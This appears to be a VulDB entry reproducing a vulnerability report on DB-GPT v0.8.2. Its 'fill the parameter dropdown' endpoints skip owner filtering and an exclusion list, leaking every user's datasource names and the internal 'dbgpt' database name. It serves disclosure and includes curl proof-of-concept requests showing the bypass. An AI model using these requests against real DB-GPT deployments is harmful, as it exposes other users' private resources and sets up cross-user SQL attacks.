| Titolo | eosphoros-ai DB-GPT v0.8.2 Exposure of Resource |
|---|
| Descrizione | DB-GPT Release, Revision, or Tag
`eosphorosai/dbgpt-openai:v0.8.2` (release tag `v0.8.2`, commit `83609c47`) —
also present on current `main` (verified 2026-11-10; on main the route even
resolves the caller identity and then does not use it).
### Description
The "fill the parameter dropdown" endpoints return the datasource-name list
for chat/editor front-ends and call the DAO helper **without the caller's
user_id**, taking the unfiltered all-rows branch. The canonical listing route
`GET /api/v1/chat/db/list` applies two protections these endpoints skip:
owner filtering (own + shared rows only) and a hard exclusion list for
internal datasource names (`["auth","dbgpt","test","public"]`). Any caller
therefore receives *every* datasource name — including other users' private
datasources and the hidden internal datasource `dbgpt`, which in the official
image is a live connection to the service's own metadata database.
```python
# api_v1.py (main; v0.8.2 identical in effect) — identity resolved, never used
async def resource_params_list(
resource_type: str,
user_token: UserRequest = Depends(get_user_from_headers), # resolved…
):
if resource_type == "database":
result = get_db_list() # …but called WITHOUT user_token.user_id
```
### Root cause
- Entry routes: `POST /api/v1/resource/params/list?resource_type=database`
(dynamic); `POST /api/v1/chat/mode/params/list` (static twin, same code
path, reachable whenever a client sends its expected scene value)
- Preconditions: network reachability; none else
- Unfiltered call sites: `packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/api_v1.py`
(`resource_params_list`, `params_list`) → `connect_config_db.py::get_db_list()`
no-argument branch
- Defeated protections: owner filter and the exclusion list implemented only
in `GET /api/v1/chat/db/list`
- Root cause family: CWE-284 (Improper Access Control) / CWE-200 / CWE-668
(internal resource exposed past its intended sphere)
- Controlling factor: none — unconditionally reachable
# Steps to reproduce
Verified 2026-10-26 on the unmodified v0.8.2 container (phase-5 channel
matrix; evidence: `Beacon-repro/results/channel_matrix_20261026_164618/`).
1. Setup — `alice` registers a private datasource:
```bash
curl -s -X POST http://localhost:5670/api/v1/chat/db/add -H 'user-id: alice' \
-H 'Content-Type: application/json' \
-d '{"db_type":"sqlite","db_name":"poc_alice_private","file_path":"/app/pilot/examples/Walmart_Sales.db"}'
```
2. Control — the canonical listing hides it from `bob`, and the internal name
never appears anywhere:
```bash
curl -s http://localhost:5670/api/v1/chat/db/list -H 'user-id: bob'
```
Observed: `poc_alice_private` absent; `dbgpt` absent (excluded).
3. Attack — `bob` asks for the "database" parameter list:
```bash
curl -s -X POST 'http://localhost:5670/api/v1/resource/params/list?resource_type=database' \
-H 'user-id: bob' -H 'Content-Type: application/json' -d '{}'
```
Observed: HTTP 200; the list contains **`poc_alice_private`** (another user's
private datasource) **and `dbgpt`** (the hard-excluded internal
service-metadata datasource).
4. Cleanup — delete `poc_alice_private`.
### Expected behaviour
The same visibility rule as the canonical listing: own/shared rows only, and
internal names excluded.
### Observed Behaviour
Both protections are bypassed in one request; the complete datasource
inventory, including the internal database name, is returned to any caller.
# Impact
Names and types only (no credentials, no data) — but datasource names are the
keys every other attack consumes: the connector hub resolves by bare name, so
this endpoint converts "guess a name" into "read the full target list" for
cross-user SQL-execution paths, and the `dbgpt` disclosure specifically
defeats a deliberate hardening measure (keeping the service's own metadata
database out of user-visible listings; that database is separately confirmed
queryable through the execution paths). |
|---|
| Fonte | ⚠️ https://github.com/eosphoros-ai/DB-GPT/issues/3391 |
|---|
| Utente | Anonymous User |
|---|
| Sottomissione | 13/11/2026 03:34 (24 giorni fa) |
|---|
| Moderazione | 06/12/2026 21:59 (24 days later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 450888 [eosphoros-ai db-gpt fino a 0.8.3 OpenAPI v1 API api_v1.py resource_params_list escalationi di privilegi] |
|---|
| Punti | 20 |
|---|